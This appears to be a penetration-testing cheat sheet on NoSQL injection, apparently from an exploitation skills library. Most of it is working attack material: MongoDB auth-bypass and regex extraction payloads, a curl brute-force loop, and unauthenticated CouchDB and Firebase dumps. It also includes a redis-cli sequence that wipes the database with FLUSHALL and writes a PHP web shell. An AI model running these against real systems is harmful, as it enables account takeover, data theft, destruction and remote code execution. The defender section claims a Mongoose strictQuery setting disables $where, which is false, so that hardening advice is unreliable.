NoSQL Injection
NoSQL stores parse JSON / native objects. When user input becomes part of a query object (not just a value), control flows into the query.
1. MongoDB — most common target
Auth bypass
// Vulnerable: db.users.findOne({user: req.body.user, pass: req.body.pass})
POST /login
{"user": {"$ne": null}, "pass": {"$ne": null}} // returns first user
{"user": "admin", "pass": {"$gt": ""}} // admin if pw exists
{"user": "admin", "pass": {"$regex": "^A"}} // blind char extraction
Server-side JS injection
{"$where": "this.user == 'admin' && sleep(5000)"} // time-based
{"$where": "function() { return this.user.length > 0 && this.user.match(/^a/) }"}
$where was deprecated in Mongo 4.4 — still appears in legacy.
Operator extraction (blind)
# Burp Intruder w/ payload list
for char in {a..z}; do
curl -s -X POST $TARGET/login \
-d "{\"user\":\"admin\",\"pass\":{\"\$regex\":\"^${char}\"}}" \
| grep -q "success" && echo "char: $char"
done
2. CouchDB
# Admin party (no auth required)
curl http://target:5984/_all_dbs
curl http://target:5984/_users/_all_docs
# Then read/modify any document
3. Firebase Realtime Database
# Public-read databases (most common misconfig)
curl https://YOUR-FIREBASE-PROJECT.firebaseio.com/.json
# Returns entire DB if rules are "true"
4. Redis
# Unauth Redis (still common on internal nets, occasionally exposed)
redis-cli -h target -p 6379 INFO
# Module loading attack if running as root + module dir writable
redis-cli -h target FLUSHALL
redis-cli -h target SET dir /var/www/html
redis-cli -h target SET dbfilename shell.php
redis-cli -h target SET payload "<?php system($_GET['c']); ?>"
redis-cli -h target SAVE
5. Tools
- NoSQLMap — automated mongo injection (
nosqlmap.py) - mongoaudit — config scanner
- Burp Intruder w/ payloads/NoSQL Injection/ as wordlist
- fuzzdb — has NoSQL payload variants
6. PoC
# Mongo auth bypass via curl
curl -s -X POST $TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$ne": null}, "password": {"$ne": null}}' \
| jq
# If logged-in-as-admin → critical
7. Severity
| Bug | Severity |
|---|---|
Auth bypass via $ne |
Critical 9.8 |
| Blind char extraction of all user data | Critical 9.0 |
$where JS injection → RCE-adjacent (mongo runs the JS) |
Critical 9.8 |
| Public CouchDB / Firebase | Critical (depends on data sensitivity) |
| Unauth Redis on internal net | High 7-8 |
8. Defender
// Sanitize/typecheck before query
if (typeof req.body.user !== 'string') return res.status(400).send();
if (typeof req.body.pass !== 'string') return res.status(400).send();
// Or use parameterized queries / Mongo ODM (Mongoose schemas)
User.findOne({user: req.body.user}).select('+password');
// Disable $where globally
mongoose.set('strictQuery', true);
Cross-references
- Upstream catalog:
skills/_corpus/payloads/NoSQL Injection/ - SQLi (different attack class, similar mindset):
skills/exploit/web/sqli.md